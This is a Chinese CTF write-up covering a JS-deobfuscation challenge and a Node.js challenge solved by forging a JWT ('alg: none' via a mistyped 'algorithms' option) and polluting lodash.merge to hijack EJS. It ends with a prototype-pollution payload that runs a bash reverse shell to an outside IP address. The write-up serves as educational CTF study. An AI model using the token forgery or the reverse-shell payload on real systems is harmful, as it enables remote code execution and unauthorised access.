前言
web2
JS混淆加密+CTF例题题解
一个小游戏需要玩到114514分才能得到flag
要玩到114514分要好久好久,所以肯定要想其他解法,
这题有多种解法,修改游戏逻辑(难)解密js混淆加密(中) 解密md5(易)
这里要介绍js混淆 也就采用第二种方法(实际上比赛的时候也是用第二种方法解的)
查看源代码,查看游戏逻辑js
仔细查看一下
function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 =
_0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 =
_0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 =
_0x104914[_0x22f014]; return _0x321373; }; return
_0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799)
{
//...................省略大量代码
上述即是js混淆加密的明显特征 对function函数体内容进行了混淆加密
只是解密网站要找好久,网上真正可以解密js混淆的网站很少
https://m.freebuf.com/articles/web/391884.html 最后是在这个网站上学习并且找到的解密网站
js混淆加密在线解密网站https://deobfuscate.relative.im/ 用了好长时间找,现在分享出来了 希望能收藏一下
拿到解密网站,对game.js进行解密
搜索逻辑赢得的游戏逻辑114514
可以看到给了一个ascii码的数组
只需ascii码转为字符即可拿到flag
num = '89,111,117,114,32,97,114,101,32,119,105,110,33,32,102,108,97,103,123,87,101,49,99,48,109,51,95,86,67,84,70,95,50,48,50,52,125'flag = ''.join([chr(int(num)) for num in num.split(',')])print(flag)
node.JS原型链污染
Web中的高端局
前提知识:JS定义对象结构体是以函数的方式去定义 与其他语言不同
proto&prototype
他们的关系如下
实操便于更好理解
先定义o1={a:1,b:2} 定义o2={c:3,d:4}
我们两个都走上一级皆是object的对象 期中object为null 因为我们没有new 出一个对象
再网上走 两者o1,o2都是null
接下来我们令o1下的name=“hello world”
并且输出o1.name
此时o2的name没有定义 如果输出o2.name理论上是null
但实际上却是与o1共享name
此时就能大概猜测出原型链污染的原理了 二者共享object父级 通过污染父级以达到污染子类的目的
此时我们进一步扩大危害 在此基础上定义o1对象下的一个函数func
o1.proto.func=function(){return this.a+1}
并且调用一下o1的函数
此时我们对于o2调用函数
实际上o1和o2共享object的原型父级 object本身也是一个对象
期中对象.proto=构造器(构造函数).prototype
此时我们引入constructor
constructor用于指向构造函数
JS中原型链重要作用
再次提到前提知识:JS定义对象结构体是以函数的方式去定义 与其他语言不同
此时我们按照正常思维去创造一个对象(在在对象中定义一个函数)
输出结果
那么如果我们想调用this.show就必须重新生成一个对象来调用show 方法
也就说this.show是绑定在Goo对象当中
但是在python 或者C/C++中定义的函数都是在类当中 每次生成一个对象都重新生成一次show()方法
这样极其耗费内存 我们只想生成一次this.show
此时我们就可以运用prototype来使用了
我们把show对象调用在Goo之外
这样我们每次调用show方法的时候 只需要调用之前用prototype生成的方法总共一次
直接省去了加载的过程
原型链继承举例介绍
以继承链为污染讲解
例题:
我们定义了两个对象 一个Father 还有一个Son
我们使用rce new出一个新对象
并且输出rce.lastname 此时我们并没有定义rce.lastname输入应该是报错或者是null
此时我们查看结果
子类继承了父类的Fater并且输出了Src
总结:
JavaScript中原型链污染的例题介绍
正如最开始的原型链介绍的修改是在node.js里的原型链污染
下面在JavaScript进行演示原型链污染
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
zoo={a:618}
console.log(zoo.a)
zoo.__proto__.a=888
console.log(zoo.a) //此时并没有修改a本身的值
let b={}//定义一个空对象
console.log(b.a)//尝试输出空对象下的zoo中的a
</script>
</body>
</html>
何时可以利用js原型链污染
当可以控制js中数组的键名的时候就可以污染原型链
下面将以CTF题介绍
高端局JS原型链污染CTF题
发觉Vemonctf原型链比较简单哒 所以就来个nssctf中的原型链的题
这题还是有点难搞
靶机地址:
走
查看源代码
访问/source
泄露源代码
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');
global.secrets = [];
express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
name: 'session',
secret: randomize('a', 16),
resave: true,
saveUninitialized: true
}))
.get('/', (req, res) => {
if (req.session.data) {
res.redirect('/home');
} else {
res.redirect('/login')
}
})
.get('/source', (req, res) => {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
if (req.method == "GET") {
res.render('login.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password, token} = req.body;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
return res.render('login.ejs', {msg: 'login error.'});
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
if (username === user.username && password === user.password) {
req.session.data = {
username: username,
count: 0,
}
res.redirect('/home');
} else {
return res.render('login.ejs', {msg: 'login error.'});
}
}
})
.all('/register', (req, res) => {
if (req.method == "GET") {
res.render('register.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password} = req.body;
if (!username || username == 'nss') {
return res.render('register.ejs', {msg: "Username existed."});
}
const secret = crypto.randomBytes(16).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret);
const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
res.render('register.ejs', {msg: "Token: " + token});
}
})
.all('/home', (req, res) => {
if (!req.session.data) {
return res.redirect('/login');
}
res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: null
})
})
.post('/update', (req, res) => {
if(!req.session.data) {
return res.redirect('/login');
}
if (req.session.data.username !== 'nss') {
return res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: 'U cant change uid'
})
}
let data = req.session.data || {};
req.session.data = lodash.merge(data, req.body);
console.log(req.session.data.outputFunctionName);
res.redirect('/home');
})
.listen(827, '0.0.0.0')
留下代码,先进行注册
得到了token进行尝试登录
尝试更改UID
好了也就只能到这一步了
下面进行代码审计
已经不是第一次感觉打CTF的啥都要学了
长话短说 哎不想敲了
jwt可以通过加密算法以及token的值可以判断出来 也在之前的比赛遇见过
进行解密
再次进行代码审计
可以看出如果用户不等于nss就弹出U cant change uid
所以我们需要伪造一下nss的token
继续代码审计检查一下加密算法
verify()指定算法的正确方式应该是通过algorithms传入数组 而这里少了个s
跟ctfshow的php反序列化里面的题好像 都是写错了 这种在实战上属于是万里挑一才能审计出来 太难了
在algorithms为none的情况下,空签名且空秘钥是被允许的;如果指定了algorithms为具体的某个算法,则密钥是不能为空的。在JWT库中,如果没指定算法,则默认使用none。
在这里指定了算法HS256 但是他少写了个s 此时为空就被允许了
jwt 审计的误用从一道CTF题看Node.JS中的JWT库误用 – SecPulse.COM | 安全脉搏
里面包含poc
审计代码
sid为空数组也就是JWT中的secretid为空数组[]就可以伪造
const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
secretid: [],
username: 'nss',
password: '123456',
"iat":1693372851
}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);
走
继续代码审计
merge以及clone都是js原型链污染的非常常见的切入点
此时的路由指向/update 使用的方法是post 接受data
ejs模板引擎污染拿flag即可
{
"__proto__":{
"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.242.150.126/1111 0>&1\"');","compileDebug":true
}
}
- 最新
- 最热
只看作者